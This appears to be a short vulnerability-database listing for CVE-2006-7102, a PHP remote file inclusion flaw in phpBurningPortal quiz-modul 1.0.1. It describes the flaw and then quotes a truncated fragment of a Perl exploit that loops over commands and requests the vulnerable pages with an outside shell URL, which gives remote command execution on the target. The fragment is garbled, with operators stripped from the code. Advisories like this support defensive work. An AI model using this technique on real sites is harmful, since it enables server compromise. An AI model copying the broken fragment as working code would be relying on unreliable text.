CVE-2006-7102: Improper Control of Generation of Code

Multiple PHP remote file inclusion vulnerabilities in phpBurningPortal quiz-modul 1.0.1, and possibly earlier, allow remote attackers to execute arbitrary PHP code via a URL in the langpath parameter to 1 questdelete.php, 2 questedit.php, or 3 questnews.php...

phpBurningPortal <= 1.0.1 (lang_path) Remote File Include Exploit

Exploit for unknown platform in category web applications ================================================================= phpBurningPortal ; while $cmd ! "exit" $xpl = LWP::UserAgent-new or die; $req = HTTP::Request-newGET=$target'/modules/includes/'.$file.$shellsite.'?&'.$shellcmd.'='.$cmd or...